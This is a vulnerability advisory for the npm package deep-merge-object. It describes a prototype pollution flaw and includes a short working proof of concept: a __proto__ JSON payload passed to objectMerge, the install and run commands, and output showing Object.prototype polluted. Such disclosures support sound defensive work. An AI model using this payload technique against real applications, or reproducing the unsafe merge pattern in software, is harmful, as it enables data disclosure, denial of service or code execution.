deep-merge-object

vulnerability prototype pollution
severity 7.3
language typescript
registry npm

Description

deep-merge-object is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var {objectMerge } = require("deep-merge-object")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
objectMerge(obj, payload);
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i deep-merge-object # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

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